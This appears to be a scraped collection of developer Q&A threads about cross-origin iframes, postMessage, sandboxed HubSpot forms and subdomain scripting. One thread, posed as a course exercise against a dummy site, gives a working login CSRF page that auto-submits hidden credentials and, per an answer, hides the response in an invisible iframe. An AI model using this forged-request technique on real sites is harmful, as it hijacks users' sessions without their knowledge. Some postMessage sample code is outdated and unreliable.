Set value of input field inside an external iframe - javascript

I know this have been asked so many times but everyone ask it to suite his own need so couldn't find answer that help me
I have two sites and have access to both and can add whatever I need inside both sites
my first site
http://www.mysite1.com
on this site
I have text field with specific value
I have an iFrame whose content are sourced from my other website.
<input type='text' name='test1' value='5'>
<iframe name='myframe' src='http://www.mysite2.com/index.php'></iframe>
on this page
http://www.mysite2.com/index.php
I have input text field
What I am trying to achieve is :
getting the specific value from my first site to the input field in my second site

Since that manipulating frames that have a different origin will cause a Cross-Origin error to occur, you'll have to use the window.postMessage() method to send a message to the child <iframe> and, inside it, listen to window.onmessage and handle the message.
Here is an example, supposing you have got a DOM structure like this:
Site #1 (www.mysite1.com):
<body>
<iframe id="site2-frame" src="http://www.mysite2.com/index.php"></iframe>
</body>
Site #2 (www.mysite2.com) in the iframe:
<body>
<input id="input-field" />
</body>
Then in your site #1 you'll have to send a message to the frame, like this:
var frame = document.getElementById('site2-frame');
frame.contentWindow.postMessage('Something something something', '*');
And in your site #2, the one inside the frame, you'll listen to the message and set the data:
var input = document.getElementById('input-field');
window.addEventListener('message', function(e) {
// Check the origin, accept messages only if they are from YOUR site!
if (/^http\:\/\/www\.mysite1\.com/.test(e.origin)) {
input.value = e.data;
// This will be 'Something something something'
}
});

JCOC611 is right. In modern web development Window.postMessage is the way to go. Selecting elements within the iframe and changing their value will very like cause cross-origin security errors – for good reasons.
Here is an example, how you could realize exchanging a value across site/iframe using the postMessage event pattern:
<script>
window.onload = function(){
// Define the target
var win = document.getElementById('iframe').contentWindow;
// Define the event trigger
document.getElementById('form').onsubmit = function(e){
// Define source value or message
win.postMessage(document.getElementById('source').value);
e.preventDefault();
};
};
</script>
<form id='form'>
<input id="source" type='text' value='5'>
<input type='submit'/>
</form>
<iframe name='myframe' src='http://www.mysite2.com/index.php'>
<!-- This is what happens inside the iframe -->
<form id='form'>
<input id='target' type='text' value=''>
</form>
<script>
// Wait for the message
document.addEventListener('message', function(e){
// When you receive the message, add it to the target
document.getElementById('target').textContent = e.data;
}, false);
</script>
</iframe>

You can always send vars using iframe url query string name value pairs, and then on page load populate the variables or input fields as you desire.

Related

My form submission get blocked because the frame is sandboxed and the 'allow-forms' permission is not set

I'm trying to build a custom form and submission post for Hubspot.
I have the following code
HTML
<head>
<script src="prezzi-form-submit.js"></script>
</head>
<body>
<form class='form-inline' id='my-custom-form'>
<div class="form-group">
<input type='email' class='form-control' placeholder='Your email address' required>
</div>
<button class="btn btn-primary" type='submit'>Sign up</button>
</form>
<!-- Actual form that gets submitted to HubSpot -->
<div class="hidden" id='hubspot-form'>
<script charset="utf-8" src="//js.hsforms.net/forms/current.js"></script>
<script>
hbspt.forms.create({
portalId: 'my-portal-id',
formId: '92b9b82a-0da2-4e23-8a30-04541c05ce6d',
onFormReady: function($form) {
$form.attr('target', 'hubspot-iframe');
}
});
</script>
<!-- iFrame that data will get submitted to. This hack stops the page redirect. -->
<iframe name="hubspot-iframe" id="hubspot-iframe" sandbox="allow-forms"></iframe>
</div>
</body>
JS (prezzi-form-submit.js)
// // Send form data to HubSpot from the client.
function submitToHubSpot(data) {
var $form = $('#hubspot-form form'),
k;
// Loop through each value and find a matching input.
// NOTE: Doesn't support checkbox/radio.
for (k in data) {
$form.find("input[name='" + k + "']").val(data[k]);
}
$("form input:submit").trigger("click");
}
// Here's how you'd use this.
$('#my-custom-form').on('submit', function() {
var formData = {};
$(this).serializeArray().forEach(function(data) {
formData[data.name] = data.value;
});
submitToHubSpot(formData);
// We sent the data. Now do whatever else you want.
alert('Gee, thanks Jonathan! Now I can focus on onboarding my customers with Appcues!');
window.location.href = 'http://appcues.com';
})
When I press the submit button, I get the following error in the console
Blocked form submission to " " because the form's frame is sandboxed
and the 'allow-forms' permission is not set.
As you can see I have the
sandbox="allow-forms"
set in the I frame but it isn't working.
How can I fix this error?
Sometimes when you click a link from an application, the tab opened will have javascript disabled/sandboxed.
Close the tab and reopen the same URL in a fresh tab, it might work.
Ran into the same problem with an iFrame form on Hubspot and got the same JS error. Discovered it has to do with the live preview using the HS Design tool.
In the drop down at the top there's the "Live preview with display options" then the "Preview without display options". It's the "preview with display options" selection that makes it "Sandboxed", try the one without. Hope this is helpful for someone.
Instead of setting the allow-form attribute in the html, set it within the .js using
el.setAttribute('sandbox', 'allow-forms');
It is because the frame itself is being sandboxed but the script is being called prior to the form being submitted which triggers submission of the frame but since the user wouldn't be able to submit, it wont call the iframe properties to respect the attribute set there

submitting a form through javascript without redirecting

I'm practicing a CSRF attack for my course and I have to attack a dummy website by creating a "fake" page. I have the following code
csrf.html
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<script>
document.csrf_form.submit();
</script>
</body>
The code above works perfectly, except that every time I open csrf.html it will also open up the course_website page. I just want it to remain on csrf.html and not redirect/ open up a new tab.
After looking through SO (I don't know much js..), I tried
<script>
document.csrf_form.submit(function(){
return false;
});
</script>
and adding a onsubmit = return false; to the form itself, but neither works.
What is the best thing to do here?
PS: not sure if this changes anything, but I used action as oppose to target in my form because one works and the other does not. Anything that I have to watch out for?
but I used action as oppose to target in my form because one works and the other does not
target and action do completely different things.
action specifies the URL to send the request to.
target specifies the frame to open the response to that request in
If you don't want to leave the current page, then you need to specify the target as a frame or new window. Omitting it was cause the new page to load in the current window and replace the document containing the form.
If it also possible to (kinda) submit forms without leaving the page by cancelling the form submission and then simulating it with JavaScript (generally via the XMLHttpRequest object) instead. A CSRF attack is going to be cross-origin though, so that approach will likely fail due to the Same Origin Policy).
E.g. of the above answer in your code
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' target='hiddenFrame' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<iframe name='hiddenFrame' style='display:none'></iframe>
<script>
document.csrf_form.submit();
</script>
</body>

Can't get iframe content

I know there are many topics about it, but none of them worked. I need just to get iframe content(not source code).
I have a form, that posts some parameters to another server and I target it to iframe(that lies on the same page). So I receive server responce code storred in my iframe without page refresh:
<form name='vin_form' id='file_upload_form' action='*****' method='post'>
<input name='name1' value='value1'>
<input name='name2' value='value2' type='hidden'>
<input name='name3' value='value3' type='hidden'>
<div onclick=\"document.getElementById('file_upload_form').target = 'upload_target'; document.vin_form.submit();\">Send form</div>
</form>";
<iframe id='upload_target' name='upload_target'></iframe>
To get iframe content I used everything, but nothing worked:
jQuery('#upload_target').load(function()
{
alert(jQuery('#upload_target').contents().find('body').html());
var myIFrame = document.getElementById('upload_target');
var content = myIFrame.contentWindow.document.body.innerHTML;
alert(content);
alert(window.frames.upload_target.document.body);
}
);
I read about "same origin policy", but I think it shouldn't be forbidden in my case, because I can access that page by url and read all the code, so why I can't do it programmatically?
P.S.: Are there some other ways to get form responce code from another server? (php curl doesn't work because of some site framework defence)
*update - try this:
var t = document.getElementById("upload_target");
var y =( t.contentWindow || t.contentDocument);
alert(y.document.body.innerHTML)

How to wait to append the data until after the form data has been added?

When I click the #screenrId, it submits the default data without having time to add the new data the user inputs. How to wait to append the data until after the form input field data has been added?
http://jsfiddle.net/XVCVE/1/
<script type="text/javascript">
$(document).ready(function() {
Screenr.Recorder( { subject:""}).appendTo("screenrId");
});
</script>
<form>
<h4>Subject <input name="subject" id='subject' type="text" ></h4>
</form>
<div id="screenrId" ></div>
I am trying to add the form data to the screen.recorder function before it appends it? Screenr.Recorder( { subject:""}).
Pretty sure I just fixed it: http://jsfiddle.net/XVCVE/3/
The problems:
The "javascript" section in jsfiddle assumes raw javascript, no <script> tags, so I moved that code to the top.
You had a very strange way to make sure the correct HTTP protocol (HTTP or HTTPS) was used to load the 3rd party library, when the browser will do that automatically if you just don't write the http: or https:.
After that, the button appeared after a slight delay.

Cross site scripting on the same domain, different sub domains

I have an iframe I'm using to pull in some content hosted by a 3rd party vendor to our website. We are trying to determine the height of that content to adjust the iframe height but I'm getting cross site scripting errors. I wasn't aware that sub-domains count as a cross-site. Is there some way around this without having to keep them on matching sub-domains?
For reference, our weekly marketing is hosted by the 3rd party vendor in flash but with the sub-domain we can redirect to them while keeping the user on our domains for cookie purposes.
From one of your subdomains, you can (with some exceptions) set the domain to allow broader access to other subdomains in the same main domain.
Take a look at this page:
http://www.tomhoppe.com/index.php/2008/03/cross-sub-domain-javascript-ajax-iframe-etc/
Also take a look at cross window messaging
This first page is the sender - it's calling postMessage (sending the textual message) and also holds the iframe within which the receiving window is held.
<iframe src="http://dev.jquery.com/~john/message/" id="iframe"></iframe>
<form id="form">
<input type="text" id="msg" value="Message to send"/>
<input type="submit"/>
</form>
<script>
window.onload = function(){
var win = document.getElementById("iframe").contentWindow;
document.getElementById("form").onsubmit = function(e){
win.postMessage( document.getElementById("msg").value );
e.preventDefault();
};
};
</script>
The follow page is the receiver - it has an event listener bound which watches for messages being passed to it and injects them in to the DOM.
<b>This iframe is located on dev.jquery.com</b>
<div id="test">Send me a message!</div>
<script>
document.addEventListener("message", function(e){
document.getElementById("test").textContent =
e.domain + " said: " + e.data;
}, false);
</script>

Categories